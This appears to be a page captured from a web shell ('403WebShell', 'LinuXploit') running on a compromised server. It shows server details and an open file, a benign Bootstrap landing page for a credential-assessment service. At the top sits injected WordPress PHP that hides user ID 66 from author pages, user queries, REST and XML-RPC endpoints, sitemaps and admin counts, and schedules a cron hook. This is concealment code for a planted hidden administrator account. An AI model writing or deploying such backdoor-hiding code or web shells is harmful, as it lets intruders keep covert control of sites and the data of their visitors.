403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /var/www/html/emaji/public/competencyshow/

Upload File :

[ Back ]

Current File : /var/www/html/emaji/public/competencyshow/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CompetencyShow - Professional Credential Assessment</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css" rel="stylesheet">
    <style>
        :root {
            --primary-color: #4F46E5;
            --primary-dark: #4338CA;
            --secondary-color: #10B981;
            --accent-color: #F59E0B;
            --dark-color: #1F2937;
            --light-bg: #F9FAFB;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            color: var(--dark-color);
        }

        .hero-section {
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
            color: white;
            padding: 100px 0 120px;
            position: relative;
            overflow: hidden;
        }

        .hero-section::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: url("data:image/svg+xml,%3Csvg width='60' height='60' viewBox='0 0 60 60' xmlns='http://www.w3.org/2000/svg'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cg fill='%23ffffff' fill-opacity='0.05'%3E%3Cpath d='M36 34v-4h-2v4h-4v2h4v4h2v-4h4v-2h-4zm0-30V0h-2v4h-4v2h4v4h2V6h4V4h-4zM6 34v-4H4v4H0v2h4v4h2v-4h4v-2H6zM6 4V0H4v4H0v2h4v4h2V6h4V4H6z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E");
        }

        .hero-content {
            position: relative;
            z-index: 1;
        }

        .hero-title {
            font-size: 3.5rem;
            font-weight: 800;
            margin-bottom: 1.5rem;
            line-height: 1.2;
        }

        .hero-subtitle {
            font-size: 1.25rem;
            opacity: 0.9;
            max-width: 600px;
            margin-bottom: 2rem;
        }

        .btn-hero {
            padding: 16px 32px;
            font-size: 1.1rem;
            font-weight: 600;
            border-radius: 12px;
            transition: all 0.3s ease;
        }

        .btn-hero-primary {
            background: white;
            color: var(--primary-color);
            border: none;
        }

        .btn-hero-primary:hover {
            background: var(--light-bg);
            transform: translateY(-2px);
            box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
        }

        .btn-hero-outline {
            background: transparent;
            color: white;
            border: 2px solid rgba(255, 255, 255, 0.5);
        }

        .btn-hero-outline:hover {
            background: rgba(255, 255, 255, 0.1);
            border-color: white;
            color: white;
        }

        .feature-card {
            background: white;
            border-radius: 20px;
            padding: 40px 30px;
            height: 100%;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
            transition: all 0.3s ease;
            border: 1px solid rgba(0, 0, 0, 0.05);
        }

        .feature-card:hover {
            transform: translateY(-8px);
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.12);
        }

        .feature-icon {
            width: 70px;
            height: 70px;
            border-radius: 16px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 2rem;
            margin-bottom: 1.5rem;
        }

        .feature-icon.purple {
            background: linear-gradient(135deg, #EEF2FF 0%, #E0E7FF 100%);
            color: var(--primary-color);
        }

        .feature-icon.green {
            background: linear-gradient(135deg, #ECFDF5 0%, #D1FAE5 100%);
            color: var(--secondary-color);
        }

        .feature-icon.orange {
            background: linear-gradient(135deg, #FFFBEB 0%, #FEF3C7 100%);
            color: var(--accent-color);
        }

        .feature-icon.blue {
            background: linear-gradient(135deg, #EFF6FF 0%, #DBEAFE 100%);
            color: #3B82F6;
        }

        .section-title {
            font-size: 2.5rem;
            font-weight: 700;
            margin-bottom: 1rem;
        }

        .section-subtitle {
            font-size: 1.1rem;
            color: #6B7280;
            max-width: 600px;
            margin: 0 auto 3rem;
        }

        .process-section {
            background: var(--light-bg);
            padding: 100px 0;
        }

        .process-step {
            text-align: center;
            position: relative;
        }

        .process-number {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            background: var(--primary-color);
            color: white;
            font-size: 1.5rem;
            font-weight: 700;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 1.5rem;
        }

        .process-connector {
            position: absolute;
            top: 30px;
            left: 60%;
            width: 80%;
            height: 2px;
            background: linear-gradient(90deg, var(--primary-color), transparent);
        }

        .stats-section {
            background: linear-gradient(135deg, var(--dark-color) 0%, #374151 100%);
            color: white;
            padding: 80px 0;
        }

        .stat-item {
            text-align: center;
        }

        .stat-number {
            font-size: 3.5rem;
            font-weight: 800;
            color: var(--secondary-color);
        }

        .stat-label {
            font-size: 1rem;
            opacity: 0.8;
        }

        .cta-section {
            padding: 100px 0;
            background: white;
        }

        .cta-box {
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
            border-radius: 24px;
            padding: 60px;
            color: white;
            position: relative;
            overflow: hidden;
        }

        .cta-box::before {
            content: '';
            position: absolute;
            top: -50%;
            right: -20%;
            width: 400px;
            height: 400px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.1);
        }

        .trusted-by {
            padding: 60px 0;
            background: var(--light-bg);
        }

        .trusted-logo {
            height: 40px;
            opacity: 0.5;
            filter: grayscale(100%);
            transition: all 0.3s ease;
        }

        .trusted-logo:hover {
            opacity: 1;
            filter: grayscale(0%);
        }

        footer {
            background: var(--dark-color);
            color: white;
            padding: 60px 0 30px;
        }

        footer a {
            color: rgba(255, 255, 255, 0.7);
            text-decoration: none;
            transition: color 0.3s ease;
        }

        footer a:hover {
            color: white;
        }

        .navbar {
            padding: 20px 0;
            transition: all 0.3s ease;
        }

        .navbar.scrolled {
            background: white;
            box-shadow: 0 2px 20px rgba(0, 0, 0, 0.1);
            padding: 15px 0;
        }

        .navbar-brand {
            font-weight: 700;
            font-size: 1.5rem;
        }

        .assessment-form {
            background: white;
            border-radius: 20px;
            padding: 40px;
            box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
        }

        @media (max-width: 768px) {
            .hero-title {
                font-size: 2.5rem;
            }

            .hero-section {
                padding: 80px 0;
            }

            .process-connector {
                display: none;
            }

            .cta-box {
                padding: 40px 30px;
            }
        }
    </style>
</head>
<body>
    <!-- Navigation -->
    <nav class="navbar navbar-expand-lg fixed-top" id="mainNav">
        <div class="container">
            <a class="navbar-brand text-white" href="#">
                <i class="bi bi-award-fill me-2"></i>CompetencyShow
            </a>
            <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">
                <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbarNav">
                <ul class="navbar-nav ms-auto">
                    <li class="nav-item">
                        <a class="nav-link text-white" href="#how-it-works">How It Works</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link text-white" href="#features">Features</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link text-white" href="#contact">Contact</a>
                    </li>
                    <li class="nav-item ms-lg-3">
                        <a class="btn btn-light btn-sm px-4" href="#assess">Get Started</a>
                    </li>
                </ul>
            </div>
        </div>
    </nav>

    <!-- Hero Section -->
    <section class="hero-section">
        <div class="container hero-content">
            <div class="row align-items-center">
                <div class="col-lg-7">
                    <h1 class="hero-title">Professional Credential Assessment Services</h1>
                    <p class="hero-subtitle">
                        Get your qualifications verified and recognized. Our expert assessors evaluate your credentials against international standards, helping you unlock career opportunities worldwide.
                    </p>
                    <div class="d-flex gap-3 flex-wrap">
                        <a href="#assess" class="btn btn-hero btn-hero-primary">
                            <i class="bi bi-arrow-right-circle me-2"></i>Start Assessment
                        </a>
                        <a href="#how-it-works" class="btn btn-hero btn-hero-outline">
                            Learn More
                        </a>
                    </div>
                </div>
                <div class="col-lg-5 d-none d-lg-block text-center">
                    <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 400 300'%3E%3Crect fill='%23ffffff' fill-opacity='0.1' rx='20' width='350' height='250' x='25' y='25'/%3E%3Ccircle fill='%2310B981' cx='100' cy='100' r='40'/%3E%3Cpath fill='%23ffffff' d='M85 100l10 10 20-20' stroke='%23ffffff' stroke-width='4' fill='none'/%3E%3Crect fill='%23ffffff' fill-opacity='0.3' rx='8' width='180' height='20' x='160' y='80'/%3E%3Crect fill='%23ffffff' fill-opacity='0.2' rx='8' width='140' height='16' x='160' y='110'/%3E%3Crect fill='%23F59E0B' rx='12' width='120' height='80' x='60' y='160'/%3E%3Crect fill='%23ffffff' fill-opacity='0.3' rx='4' width='80' height='10' x='80' y='180'/%3E%3Crect fill='%23ffffff' fill-opacity='0.2' rx='4' width='60' height='8' x='80' y='200'/%3E%3Crect fill='%234F46E5' rx='12' width='140' height='90' x='200' y='150'/%3E%3Ccircle fill='%23ffffff' fill-opacity='0.3' cx='270' cy='180' r='20'/%3E%3Crect fill='%23ffffff' fill-opacity='0.2' rx='4' width='100' height='10' x='220' y='210'/%3E%3C/svg%3E" alt="Credential Assessment" class="img-fluid" style="max-width: 400px;">
                </div>
            </div>
        </div>
    </section>

    <!-- Features Section -->
    <section class="py-5" id="features" style="padding: 100px 0;">
        <div class="container">
            <div class="text-center mb-5">
                <h2 class="section-title">Why Choose CompetencyShow?</h2>
                <p class="section-subtitle">
                    We provide comprehensive credential assessment services backed by industry experts and recognized standards.
                </p>
            </div>
            <div class="row g-4">
                <div class="col-md-6 col-lg-3">
                    <div class="feature-card">
                        <div class="feature-icon purple">
                            <i class="bi bi-shield-check"></i>
                        </div>
                        <h5 class="fw-bold mb-3">Expert Verification</h5>
                        <p class="text-muted mb-0">
                            Our certified assessors have decades of experience evaluating credentials from institutions worldwide.
                        </p>
                    </div>
                </div>
                <div class="col-md-6 col-lg-3">
                    <div class="feature-card">
                        <div class="feature-icon green">
                            <i class="bi bi-globe"></i>
                        </div>
                        <h5 class="fw-bold mb-3">Global Recognition</h5>
                        <p class="text-muted mb-0">
                            Our assessments are recognized by employers, institutions, and regulatory bodies across Europe and beyond.
                        </p>
                    </div>
                </div>
                <div class="col-md-6 col-lg-3">
                    <div class="feature-card">
                        <div class="feature-icon orange">
                            <i class="bi bi-lightning-charge"></i>
                        </div>
                        <h5 class="fw-bold mb-3">Fast Turnaround</h5>
                        <p class="text-muted mb-0">
                            Receive your assessment results within 5-10 business days, with expedited options available.
                        </p>
                    </div>
                </div>
                <div class="col-md-6 col-lg-3">
                    <div class="feature-card">
                        <div class="feature-icon blue">
                            <i class="bi bi-file-earmark-lock"></i>
                        </div>
                        <h5 class="fw-bold mb-3">Secure & Private</h5>
                        <p class="text-muted mb-0">
                            Your documents are handled with strict confidentiality and stored securely using encryption.
                        </p>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- How It Works -->
    <section class="process-section" id="how-it-works">
        <div class="container">
            <div class="text-center mb-5">
                <h2 class="section-title">How It Works</h2>
                <p class="section-subtitle">
                    Getting your credentials assessed is simple and straightforward.
                </p>
            </div>
            <div class="row g-4">
                <div class="col-md-4">
                    <div class="process-step">
                        <div class="process-number">1</div>
                        <div class="process-connector d-none d-md-block"></div>
                        <h5 class="fw-bold mb-3">Submit Your Documents</h5>
                        <p class="text-muted">
                            Upload your credentials, certificates, and supporting documents through our secure portal.
                        </p>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="process-step">
                        <div class="process-number">2</div>
                        <div class="process-connector d-none d-md-block"></div>
                        <h5 class="fw-bold mb-3">Expert Review</h5>
                        <p class="text-muted">
                            Our qualified assessors evaluate your credentials against recognized standards and frameworks.
                        </p>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="process-step">
                        <div class="process-number">3</div>
                        <h5 class="fw-bold mb-3">Receive Your Report</h5>
                        <p class="text-muted">
                            Get a detailed assessment report with verification that can be shared with employers and institutions.
                        </p>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Stats Section -->
    <section class="stats-section">
        <div class="container">
            <div class="row g-4">
                <div class="col-6 col-md-3">
                    <div class="stat-item">
                        <div class="stat-number">15K+</div>
                        <div class="stat-label">Credentials Assessed</div>
                    </div>
                </div>
                <div class="col-6 col-md-3">
                    <div class="stat-item">
                        <div class="stat-number">98%</div>
                        <div class="stat-label">Satisfaction Rate</div>
                    </div>
                </div>
                <div class="col-6 col-md-3">
                    <div class="stat-item">
                        <div class="stat-number">120+</div>
                        <div class="stat-label">Countries Covered</div>
                    </div>
                </div>
                <div class="col-6 col-md-3">
                    <div class="stat-item">
                        <div class="stat-number">5-10</div>
                        <div class="stat-label">Days Turnaround</div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Assessment Form Section -->
    <section class="py-5" id="assess" style="padding: 100px 0; background: var(--light-bg);">
        <div class="container">
            <div class="row justify-content-center">
                <div class="col-lg-8">
                    <div class="assessment-form">
                        <div class="text-center mb-4">
                            <h2 class="section-title">Request an Assessment</h2>
                            <p class="text-muted">
                                Fill out the form below and we'll get back to you within 24 hours.
                            </p>
                        </div>
                        <form id="assessmentForm">
                            <div class="row g-3">
                                <div class="col-md-6">
                                    <label class="form-label">Full Name *</label>
                                    <input type="text" class="form-control form-control-lg" required>
                                </div>
                                <div class="col-md-6">
                                    <label class="form-label">Email Address *</label>
                                    <input type="email" class="form-control form-control-lg" required>
                                </div>
                                <div class="col-md-6">
                                    <label class="form-label">Country of Origin</label>
                                    <input type="text" class="form-control form-control-lg" placeholder="Where was your credential issued?">
                                </div>
                                <div class="col-md-6">
                                    <label class="form-label">Credential Type</label>
                                    <select class="form-select form-select-lg">
                                        <option value="">Select type...</option>
                                        <option value="degree">University Degree</option>
                                        <option value="diploma">Professional Diploma</option>
                                        <option value="certificate">Certificate</option>
                                        <option value="license">Professional License</option>
                                        <option value="other">Other</option>
                                    </select>
                                </div>
                                <div class="col-12">
                                    <label class="form-label">Credential Details</label>
                                    <textarea class="form-control" rows="4" placeholder="Please describe the credential you want assessed, including the institution name, year of completion, and any other relevant details."></textarea>
                                </div>
                                <div class="col-12">
                                    <label class="form-label">Target Qualification (Optional)</label>
                                    <input type="text" class="form-control form-control-lg" id="targetQualification" placeholder="What qualification are you trying to verify for?">
                                </div>
                                <div class="col-12 mt-4">
                                    <button type="submit" class="btn btn-primary btn-lg w-100" style="background: var(--primary-color); border: none; padding: 16px;">
                                        <i class="bi bi-send me-2"></i>Submit Assessment Request
                                    </button>
                                </div>
                            </div>
                        </form>
                        <div class="alert alert-success mt-4 d-none" id="successMessage">
                            <i class="bi bi-check-circle-fill me-2"></i>
                            <strong>Thank you!</strong> Your assessment request has been received. We'll contact you within 24 hours.
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- CTA Section -->
    <section class="cta-section" id="contact">
        <div class="container">
            <div class="cta-box text-center position-relative">
                <h2 class="display-5 fw-bold mb-3">Ready to Get Your Credentials Recognized?</h2>
                <p class="lead mb-4 opacity-75">
                    Join thousands of professionals who have successfully validated their qualifications with CompetencyShow.
                </p>
                <a href="#assess" class="btn btn-light btn-lg px-5">
                    <i class="bi bi-arrow-right-circle me-2"></i>Start Your Assessment
                </a>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <footer>
        <div class="container">
            <div class="row g-4">
                <div class="col-lg-4">
                    <h5 class="fw-bold mb-3">
                        <i class="bi bi-award-fill me-2"></i>CompetencyShow
                    </h5>
                    <p class="text-white-50">
                        Professional credential assessment services helping individuals and organizations verify qualifications worldwide.
                    </p>
                </div>
                <div class="col-lg-2">
                    <h6 class="fw-bold mb-3">Services</h6>
                    <ul class="list-unstyled">
                        <li class="mb-2"><a href="#">Degree Assessment</a></li>
                        <li class="mb-2"><a href="#">Professional Licenses</a></li>
                        <li class="mb-2"><a href="#">Certificate Verification</a></li>
                        <li class="mb-2"><a href="#">Skill Assessment</a></li>
                    </ul>
                </div>
                <div class="col-lg-2">
                    <h6 class="fw-bold mb-3">Company</h6>
                    <ul class="list-unstyled">
                        <li class="mb-2"><a href="#">About Us</a></li>
                        <li class="mb-2"><a href="#">Our Team</a></li>
                        <li class="mb-2"><a href="#">Partners</a></li>
                        <li class="mb-2"><a href="#">Careers</a></li>
                    </ul>
                </div>
                <div class="col-lg-4">
                    <h6 class="fw-bold mb-3">Contact Us</h6>
                    <ul class="list-unstyled">
                        <li class="mb-2">
                            <i class="bi bi-envelope me-2"></i>
                            <a href="mailto:info@competencyshow.com">info@competencyshow.com</a>
                        </li>
                        <li class="mb-2">
                            <i class="bi bi-geo-alt me-2"></i>
                            Berlin, Germany
                        </li>
                    </ul>
                    <div class="mt-3">
                        <a href="#" class="text-white me-3"><i class="bi bi-linkedin fs-5"></i></a>
                        <a href="#" class="text-white me-3"><i class="bi bi-twitter-x fs-5"></i></a>
                        <a href="#" class="text-white"><i class="bi bi-facebook fs-5"></i></a>
                    </div>
                </div>
            </div>
            <hr class="my-4 opacity-25">
            <div class="row align-items-center">
                <div class="col-md-6">
                    <p class="mb-0 text-white-50 small">
                        &copy; 2026 CompetencyWorks. All rights reserved.
                    </p>
                </div>
                <div class="col-md-6 text-md-end">
                    <a href="#" class="small me-3">Privacy Policy</a>
                    <a href="#" class="small me-3">Terms of Service</a>
                    <a href="#" class="small">Imprint</a>
                </div>
            </div>
        </div>
    </footer>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // Navbar scroll effect
        window.addEventListener('scroll', function() {
            const navbar = document.getElementById('mainNav');
            if (window.scrollY > 50) {
                navbar.classList.add('scrolled');
                navbar.querySelectorAll('.nav-link, .navbar-brand').forEach(el => {
                    el.classList.remove('text-white');
                    el.classList.add('text-dark');
                });
            } else {
                navbar.classList.remove('scrolled');
                navbar.querySelectorAll('.nav-link, .navbar-brand').forEach(el => {
                    el.classList.add('text-white');
                    el.classList.remove('text-dark');
                });
            }
        });

        // Parse URL parameters and pre-fill form
        const urlParams = new URLSearchParams(window.location.search);
        const qualification = urlParams.get('qualification');
        if (qualification) {
            document.getElementById('targetQualification').value = qualification;
            // Scroll to form
            setTimeout(() => {
                document.getElementById('assess').scrollIntoView({ behavior: 'smooth' });
            }, 500);
        }

        // Form submission
        document.getElementById('assessmentForm').addEventListener('submit', function(e) {
            e.preventDefault();
            document.getElementById('successMessage').classList.remove('d-none');
            this.reset();
            if (qualification) {
                document.getElementById('targetQualification').value = qualification;
            }
        });
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit